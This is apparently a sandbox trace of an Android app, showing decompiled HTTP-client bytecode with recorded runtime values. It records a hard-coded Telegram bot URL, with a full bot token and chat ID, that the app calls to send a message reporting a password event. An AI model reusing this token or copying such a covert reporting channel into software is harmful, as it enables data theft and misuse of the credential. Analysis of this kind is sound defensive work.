        148invoke-interface {v2}, Lcz/msebera/android/httpclient/HttpRequest;->getAllHeaders()[Lcz/msebera/android/httpclient/Header;
        149move-result-object v2
        151invoke-interface {v1, v2}, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;->setHeaders([Lcz/msebera/android/httpclient/Header;)V
        153invoke-interface {v1}, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;->getURI()Ljava/net/URI;
        154move-result-object v2
        156invoke-static {v2}, Lcz/msebera/android/httpclient/client/utils/URIUtils;->extractHost(Ljava/net/URI;)Lcz/msebera/android/httpclient/HttpHost;
        157move-result-object v3
        158if-eqz v3, :cond_13a
        160invoke-virtual {v10}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getTargetHost()Lcz/msebera/android/httpclient/HttpHost;
        161move-result-object v4
        163invoke-virtual {v4, v3}, Lcz/msebera/android/httpclient/HttpHost;->equals(Ljava/lang/Object;)Z
        164move-result v4
        165if-nez v4, :cond_103
        167iget-object v4, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        169const-string v5, "Resetting target auth state"
        171invoke-virtual {v4, v5}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        173iget-object v4, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->targetAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        175invoke-virtual {v4}, Lcz/msebera/android/httpclient/auth/AuthState;->reset()V
        177iget-object v4, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->proxyAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        179invoke-virtual {v4}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        180move-result-object v4
        181if-eqz v4, :cond_103
        183invoke-interface {v4}, Lcz/msebera/android/httpclient/auth/AuthScheme;->isConnectionBased()Z
        184move-result v4
        185if-eqz v4, :cond_103
        187iget-object v4, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        189const-string v5, "Resetting proxy auth state"
        191invoke-virtual {v4, v5}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        193iget-object v4, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->proxyAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        195invoke-virtual {v4}, Lcz/msebera/android/httpclient/auth/AuthState;->reset()V
        196cond_103:
        197invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->wrapRequest(Lcz/msebera/android/httpclient/HttpRequest;)Lcz/msebera/android/httpclient/impl/client/RequestWrapper;
        198move-result-object v1
        200invoke-virtual {v1, v12}, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->setParams(Lcz/msebera/android/httpclient/params/HttpParams;)V
        202invoke-virtual {v0, v3, v1, v9}, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->determineRoute(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        203move-result-object v3
        204new-instance v4, Lcz/msebera/android/httpclient/impl/client/RoutedRequest;
        206invoke-direct {v4, v1, v3}, Lcz/msebera/android/httpclient/impl/client/RoutedRequest;-><init>(Lcz/msebera/android/httpclient/impl/client/RequestWrapper;Lcz/msebera/android/httpclient/conn/routing/HttpRoute;)V
        208iget-object v1, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        210invoke-virtual {v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        211move-result v1
        212if-eqz v1, :cond_139
        214iget-object v1, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        215new-instance v5, Ljava/lang/StringBuilder;
        217invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
        219const-string v6, "Redirecting to \'"
        221invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        223invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        225const-string v2, "\' via "
        227invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        229invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        231invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        232move-result-object v2
        234invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        235cond_139: return-object v4
        236cond_13a: new-instance v1, Lcz/msebera/android/httpclient/ProtocolException;
        237new-instance v3, Ljava/lang/StringBuilder;
        239invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        241const-string v4, "Redirect URI does not specify a valid host name: "
        243invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        245invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        247invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        248move-result-object v2
        250invoke-direct {v1, v2}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;)V
        251throw v1
        252cond_151: new-instance v1, Lcz/msebera/android/httpclient/client/RedirectException;
        253new-instance v2, Ljava/lang/StringBuilder;
        255invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        257const-string v3, "Maximum redirects ("
        259invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        260iget v3, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->maxRedirects:I
        262invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        264const-string v3, ") exceeded"
        266invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        268invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        269move-result-object v2
        271invoke-direct {v1, v2}, Lcz/msebera/android/httpclient/client/RedirectException;-><init>(Ljava/lang/String;)V
        272throw v1
        273cond_16f: return-object v2
        Cross References
        APIs
        • cz.msebera.android.httpclient.message.BasicListHeaderIterator.hasNext
        • java.util.List.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • cz.msebera.android.httpclient.cookie.MalformedCookieException.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • cz.msebera.android.httpclient.cookie.MalformedCookieException.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • Cookie accepted [
        • ]
        • Cookie rejected [
        • ]
        • Invalid cookie header: \"
        • \".
        Position Instruction Meta Information
        0cond_0:
        1invoke-interface {p1}, Lcz/msebera/android/httpclient/HeaderIterator;->hasNext()Z
        • Time: 1304467
          • This:
            • cz.msebera.android.httpclient.message.BasicListHeaderIterator@3a3c700
          • Return:
            • false
        2move-result v0
        3if-eqz v0, :cond_a9
        5invoke-interface {p1}, Lcz/msebera/android/httpclient/HeaderIterator;->nextHeader()Lcz/msebera/android/httpclient/Header;
        6move-result-object v0
        7try_start_a:
        8invoke-interface {p2, v0, p3}, Lcz/msebera/android/httpclient/cookie/CookieSpec;->parse(Lcz/msebera/android/httpclient/Header;Lcz/msebera/android/httpclient/cookie/CookieOrigin;)Ljava/util/List;
        9move-result-object v1
        11invoke-interface {v1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
        12move-result-object v1
        13goto_12:
        14invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
        15move-result v2
        16if-eqz v2, :cond_0
        18invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        19move-result-object v2
        20check-cast v2, Lcz/msebera/android/httpclient/cookie/Cookie;
        21try_start_1e:
        22invoke-interface {p2, v2, p3}, Lcz/msebera/android/httpclient/cookie/CookieSpec;->validate(Lcz/msebera/android/httpclient/cookie/Cookie;Lcz/msebera/android/httpclient/cookie/CookieOrigin;)V
        24invoke-interface {p4, v2}, Lcz/msebera/android/httpclient/client/CookieStore;->addCookie(Lcz/msebera/android/httpclient/cookie/Cookie;)V
        26iget-object v3, p0, Lcz/msebera/android/httpclient/client/protocol/ResponseProcessCookies;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        28invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        29move-result v3
        30if-eqz v3, :cond_12
        32iget-object v3, p0, Lcz/msebera/android/httpclient/client/protocol/ResponseProcessCookies;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        33new-instance v4, Ljava/lang/StringBuilder;
        35invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        37const-string v5, "Cookie accepted ["
        39invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        41invoke-static {v2}, Lcz/msebera/android/httpclient/client/protocol/ResponseProcessCookies;->formatCooke(Lcz/msebera/android/httpclient/cookie/Cookie;)Ljava/lang/String;
        42move-result-object v5
        44invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        46const-string v5, "]"
        48invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        50invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        51move-result-object v4
        53invoke-virtual {v3, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        54try_end_4b: goto/16 :goto_12
        55catch_4c: move-exception v3
        56try_start_4d:
        57iget-object v4, p0, Lcz/msebera/android/httpclient/client/protocol/ResponseProcessCookies;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        59invoke-virtual {v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isWarnEnabled()Z
        60move-result v4
        61if-eqz v4, :cond_12
        63iget-object v4, p0, Lcz/msebera/android/httpclient/client/protocol/ResponseProcessCookies;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        64new-instance v5, Ljava/lang/StringBuilder;
        66invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
        68const-string v6, "Cookie rejected ["
        70invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        72invoke-static {v2}, Lcz/msebera/android/httpclient/client/protocol/ResponseProcessCookies;->formatCooke(Lcz/msebera/android/httpclient/cookie/Cookie;)Ljava/lang/String;
        73move-result-object v2
        75invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        77const-string v2, "] "
        79invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        81invoke-virtual {v3}, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;->getMessage()Ljava/lang/String;
        82move-result-object v2
        84invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        86invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        87move-result-object v2
        89invoke-virtual {v4, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->warn(Ljava/lang/Object;)V
        90try_end_7b: goto/16 :goto_12
        91catch_7c: move-exception v1
        93iget-object v2, p0, Lcz/msebera/android/httpclient/client/protocol/ResponseProcessCookies;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        95invoke-virtual {v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isWarnEnabled()Z
        96move-result v2
        97if-eqz v2, :cond_0
        99iget-object v2, p0, Lcz/msebera/android/httpclient/client/protocol/ResponseProcessCookies;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        100new-instance v3, Ljava/lang/StringBuilder;
        102invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        104const-string v4, "Invalid cookie header: \""
        106invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        108invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        110const-string v0, "\". "
        112invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        114invoke-virtual {v1}, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;->getMessage()Ljava/lang/String;
        115move-result-object v0
        117invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        119invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        120move-result-object v0
        122invoke-virtual {v2, v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->warn(Ljava/lang/Object;)V
        123goto/16 :goto_0
        124cond_a9: return-void
        Cross References
        APIs
        • java.net.URLDecoder.decode
        • java.net.URL.<init>
        • java.net.URL.getProtocol
        • java.net.URL.getUserInfo
        • java.net.URL.getHost
        • java.net.URL.getPort
        • java.net.URL.getPath
        • java.net.URL.getQuery
        • java.net.URL.getRef
        • java.net.URI.<init>
        • java.net.URI.toASCIIString
        • java.lang.String.trim
        • java.lang.String.equals
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.String.contains
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • UTF-8
        • https://api.telegram.org/bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access to Password Denied
        • AsyncHttpClient
        • getUrlWithQueryString encoding URL
        • ?
        • &
        Position Instruction Meta Information
        0if-nez p1, :cond_4
        1const/4 p0, 0x0
        2return-object p0
        3cond_4: if-eqz p0, :cond_42
        4try_start_6:
        5const-string p0, "UTF-8"
        7invoke-static {p1, p0}, Ljava/net/URLDecoder;->decode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
        8move-result-object p0
        9new-instance v0, Ljava/net/URL;
        11invoke-direct {v0, p0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
        • Time: 1301692
          • This:
            • https://api.telegram.org/bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access to Password Denied
          • p0: https://api.telegram.org/bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access to Password Denied
          • Return:
            • https://api.telegram.org/bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access to Password Denied
        12new-instance p0, Ljava/net/URI;
        14invoke-virtual {v0}, Ljava/net/URL;->getProtocol()Ljava/lang/String;
        15move-result-object v2
        17invoke-virtual {v0}, Ljava/net/URL;->getUserInfo()Ljava/lang/String;
        18move-result-object v3
        20invoke-virtual {v0}, Ljava/net/URL;->getHost()Ljava/lang/String;
        21move-result-object v4
        23invoke-virtual {v0}, Ljava/net/URL;->getPort()I
        24move-result v5
        26invoke-virtual {v0}, Ljava/net/URL;->getPath()Ljava/lang/String;
        27move-result-object v6
        29invoke-virtual {v0}, Ljava/net/URL;->getQuery()Ljava/lang/String;
        30move-result-object v7
        32invoke-virtual {v0}, Ljava/net/URL;->getRef()Ljava/lang/String;
        33move-result-object v8
        34move-object v1, p0
        36invoke-direct/range {v1 .. v8}, Ljava/net/URI;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
        38invoke-virtual {p0}, Ljava/net/URI;->toASCIIString()Ljava/lang/String;
        39move-result-object p0
        40try_end_37: goto/16 :goto_43
        41catch_38: move-exception p0
        43sget-object v0, Lcom/loopj/android/http/AsyncHttpClient;->log:Lcom/loopj/android/http/LogInterface;
        45const-string v1, "AsyncHttpClient"
        47const-string v2, "getUrlWithQueryString encoding URL"
        49invoke-interface {v0, v1, v2, p0}, Lcom/loopj/android/http/LogInterface;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
        50cond_42: move-object p0, p1
        51goto_43: if-eqz p2, :cond_88
        53invoke-virtual {p2}, Lcom/loopj/android/http/RequestParams;->getParamString()Ljava/lang/String;
        54move-result-object p1
        56invoke-virtual {p1}, Ljava/lang/String;->trim()Ljava/lang/String;
        57move-result-object p1
        59const-string p2, ""
        61invoke-virtual {p1, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        62move-result p2
        63if-nez p2, :cond_88
        65const-string p2, "?"
        67invoke-virtual {p1, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        68move-result p2
        69if-nez p2, :cond_88
        70new-instance p2, Ljava/lang/StringBuilder;
        72invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        74invoke-virtual {p2, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        76const-string v0, "?"
        78invoke-virtual {p0, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
        79move-result p0
        80if-eqz p0, :cond_70
        82const-string p0, "&"
        83goto/16 :goto_72
        84cond_70:
        85const-string p0, "?"
        86goto_72:
        87invoke-virtual {p2, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        89invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        90move-result-object p0
        91new-instance p2, Ljava/lang/StringBuilder;
        93invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        95invoke-virtual {p2, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        97invoke-virtual {p2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        99invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        100move-result-object p0
        101cond_88: return-object p0
        Cross References
        APIs
        • java.util.List.size
        • java.util.List.get
        • cz.msebera.android.httpclient.message.BasicHeader.getName
        • java.lang.String.equalsIgnoreCase
        Strings
        • Accept-Encoding
        • Access-Control-Allow-Methods
        • Access-Control-Allow-Origin
        • Access-Control-Expose-Headers
        • Connection
        • Content-Length
        • Content-Type
        • Date
        • Host
        • Server
        • Strict-Transport-Security
        • java.lang.String@4b3975d
        • java.lang.String@6158cb6
        • java.lang.String@7b69e1b
        • java.lang.String@8a717ef
        • java.lang.String@9700f7
        • java.lang.String@c4a7a21
        • java.lang.String@e1d660f
        • java.lang.String@e8582e8
        • java.lang.String@f183a82
        • java.lang.String@f84d01e
        • Content-Encoding
        • Expect
        • Transfer-Encoding
        • location
        Position Instruction Meta Information
        0const/4 v0, 0x0
        1goto_1:
        2iget-object v1, p0, Lcz/msebera/android/httpclient/message/HeaderGroup;->headers:Ljava/util/List;
        4invoke-interface {v1}, Ljava/util/List;->size()I
        5move-result v1
        6if-ge v0, v1, :cond_1f
        8iget-object v1, p0, Lcz/msebera/android/httpclient/message/HeaderGroup;->headers:Ljava/util/List;
        10invoke-interface {v1, v0}, Ljava/util/List;->get(I)Ljava/lang/Object;
        11move-result-object v1
        12check-cast v1, Lcz/msebera/android/httpclient/Header;
        14invoke-interface {v1}, Lcz/msebera/android/httpclient/Header;->getName()Ljava/lang/String;
        • Time: 1303820
          • This:
            • Content-Length: 0
          • Return:
            • java.lang.String@6158cb6
        • Time: 1303828
          • This:
            • Host: api.telegram.org
          • Return:
            • Host
        • Time: 1303832
          • This:
            • Connection: Keep-Alive
          • Return:
            • Connection
        • Time: 1303837
          • This:
            • Accept-Encoding: gzip
          • Return:
            • Accept-Encoding
        • Time: 1304125
          • This:
            • java.lang.String@e1d660f
          • p0: [C@22deaa4
          • p0: Server: nginx/1.12.2
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@637369c
          • Return:
            • java.lang.String@e1d660f
        • Time: 1304129
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@cdf8a5
          • Return:
            • java.lang.String@e1d660f
        • Time: 1304125
          • This:
            • Server: nginx/1.12.2
          • Return:
            • Server
        • Time: 1304135
          • This:
            • java.lang.String@c4a7a21
          • p0: [C@c76120e
          • p0: Date: Tue, 12 Feb 2019 13:29:49 GMT
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@3723e46
          • Return:
            • java.lang.String@c4a7a21
        • Time: 1304142
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@6c20807
          • Return:
            • java.lang.String@c4a7a21
        • Time: 1304135
          • This:
            • Date: Tue, 12 Feb 2019 13:29:49 GMT
          • Return:
            • Date
        • Time: 1304151
          • This:
            • java.lang.String@4b3975d
          • p0: [C@1ea3c
          • p0: Content-Type: application/json
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@783f8d2
          • Return:
            • java.lang.String@4b3975d
        • Time: 1304157
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@d6d1da3
          • Return:
            • java.lang.String@4b3975d
        • Time: 1304151
          • This:
            • Content-Type: application/json
          • Return:
            • Content-Type
        • Time: 1304165
          • This:
            • java.lang.String@f84d01e
          • p0: [C@faed44b
          • p0: Content-Length: 243
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@829f0ff
          • Return:
            • java.lang.String@f84d01e
        • Time: 1304173
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@5837ecc
          • Return:
            • java.lang.String@f84d01e
        • Time: 1304164
          • This:
            • Content-Length: 243
          • Return:
            • Content-Length
        • Time: 1304184
          • This:
            • java.lang.String@7b69e1b
          • p0: [C@a2654e6
          • p0: Connection: keep-alive
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@41e4354
          • Return:
            • java.lang.String@7b69e1b
        • Time: 1304191
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@cfbbb8
          • Return:
            • java.lang.String@7b69e1b
        • Time: 1304206
          • This:
            • java.lang.String@9700f7
          • p0: [C@ec5167d
          • p0: Access-Control-Allow-Origin: *
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@783f8d2
          • Return:
            • java.lang.String@9700f7
        • Time: 1304218
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@8a0db64
          • Return:
            • java.lang.String@9700f7
        • 10 additional calls hidden ...
        15move-result-object v2
        17invoke-virtual {v2, p1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        • Time: 1303823
          • This:
            • java.lang.String@6158cb6
          • p0: Expect
          • Return:
            • false
        • Time: 1304133
          • This:
            • Server
          • p0: Transfer-Encoding
          • Return:
            • false
        • Time: 1304285
          • This:
            • Server
          • p0: java.lang.String@6158cb6
          • Return:
            • false
        • Time: 1304306
          • This:
            • Content-Length
          • p0: java.lang.String@6158cb6
          • Return:
            • true
        • Time: 1304375
          • This:
            • Server
          • p0: Content-Type
          • Return:
            • false
        • Time: 1304387
          • This:
            • Content-Type
          • p0: Content-Type
          • Return:
            • true
        • Time: 1304390
          • This:
            • Server
          • p0: Content-Encoding
          • Return:
            • false
        • Time: 1304786
          • This:
            • Server
          • p0: location
          • Return:
            • false
        18move-result v2
        19if-eqz v2, :cond_1c
        20return-object v1
        21cond_1c: add-int/lit8 v0, v0, 0x1
        22goto/16 :goto_1
        23cond_1f: const/4 p1, 0x0
        24return-object p1
        APIs
        • cz.msebera.android.httpclient.impl.conn.DefaultClientConnection.isOpen
        • cz.msebera.android.httpclient.HttpHost.getSchemeName
        • cz.msebera.android.httpclient.HttpHost.getHostName
        • cz.msebera.android.httpclient.conn.HttpInetSocketAddress.<init>
        • java.net.InetSocketAddress.<init>
        • cz.msebera.android.httpclient.extras.HttpClientAndroidLog.isDebugEnabled
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • Connection
        • Target host
        • HTTP parameters
        • Connection must not be open
        • https
        • api.telegram.org
        • Connecting to
        • Connect to
        • timed out.
        • Connection will be retried using another IP address
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        5move-object/from16 v1, p0
        6move-object/from16 v2, p1
        7move-object/from16 v3, p2
        8move-object/from16 v4, p3
        9move-object/from16 v5, p4
        10move-object/from16 v6, p5
        12const-string v0, "Connection"
        14invoke-static {v2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        16const-string v0, "Target host"
        18invoke-static {v3, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        20const-string v0, "HTTP parameters"
        22invoke-static {v6, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        24invoke-interface/range {p1 .. p1}, Lcz/msebera/android/httpclient/conn/OperatedClientConnection;->isOpen()Z
        • Time: 1302528
          • This:
            • cz.msebera.android.httpclient.impl.conn.DefaultClientConnection@4c441d4
          • Return:
            • false
        25move-result v0
        26const/4 v7, 0x1
        27xor-int/2addr v0, v7
        29const-string v8, "Connection must not be open"
        31invoke-static {v0, v8}, Lcz/msebera/android/httpclient/util/Asserts;->check(ZLjava/lang/String;)V
        33invoke-direct {v1, v5}, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnectionOperator;->getSchemeRegistry(Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/conn/scheme/SchemeRegistry;
        34move-result-object v0
        36invoke-virtual/range {p2 .. p2}, Lcz/msebera/android/httpclient/HttpHost;->getSchemeName()Ljava/lang/String;
        • Time: 1302540
          • This:
            • https://api.telegram.org
          • Return:
            • https
        37move-result-object v8
        39invoke-virtual {v0, v8}, Lcz/msebera/android/httpclient/conn/scheme/SchemeRegistry;->getScheme(Ljava/lang/String;)Lcz/msebera/android/httpclient/conn/scheme/Scheme;
        40move-result-object v0
        42invoke-virtual {v0}, Lcz/msebera/android/httpclient/conn/scheme/Scheme;->getSchemeSocketFactory()Lcz/msebera/android/httpclient/conn/scheme/SchemeSocketFactory;
        43move-result-object v8
        45invoke-virtual/range {p2 .. p2}, Lcz/msebera/android/httpclient/HttpHost;->getHostName()Ljava/lang/String;
        • Time: 1302542
          • This:
            • https://api.telegram.org
          • Return:
            • api.telegram.org
        46move-result-object v9
        48invoke-virtual {v1, v9}, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnectionOperator;->resolveHostname(Ljava/lang/String;)[Ljava/net/InetAddress;
        49move-result-object v9
        51invoke-virtual/range {p2 .. p2}, Lcz/msebera/android/httpclient/HttpHost;->getPort()I
        52move-result v10
        54invoke-virtual {v0, v10}, Lcz/msebera/android/httpclient/conn/scheme/Scheme;->resolvePort(I)I
        55move-result v10
        56const/4 v11, 0x0
        57const/4 v12, 0x0
        58goto_48: array-length v0, v9
        59if-ge v12, v0, :cond_d4
        60aget-object v0, v9, v12
        61array-length v13, v9
        62sub-int/2addr v13, v7
        63if-ne v12, v13, :cond_53
        64const/4 v13, 0x1
        65goto/16 :goto_54
        66cond_53: const/4 v13, 0x0
        67goto_54:
        68invoke-interface {v8, v6}, Lcz/msebera/android/httpclient/conn/scheme/SchemeSocketFactory;->createSocket(Lcz/msebera/android/httpclient/params/HttpParams;)Ljava/net/Socket;
        69move-result-object v14
        71invoke-interface {v2, v14, v3}, Lcz/msebera/android/httpclient/conn/OperatedClientConnection;->opening(Ljava/net/Socket;Lcz/msebera/android/httpclient/HttpHost;)V
        72new-instance v15, Lcz/msebera/android/httpclient/conn/HttpInetSocketAddress;
        74invoke-direct {v15, v3, v0, v10}, Lcz/msebera/android/httpclient/conn/HttpInetSocketAddress;-><init>(Lcz/msebera/android/httpclient/HttpHost;Ljava/net/InetAddress;I)V
        75const/4 v0, 0x0
        76if-eqz v4, :cond_68
        77new-instance v0, Ljava/net/InetSocketAddress;
        79invoke-direct {v0, v4, v11}, Ljava/net/InetSocketAddress;-><init>(Ljava/net/InetAddress;I)V
        80cond_68:
        81iget-object v7, v1, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnectionOperator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
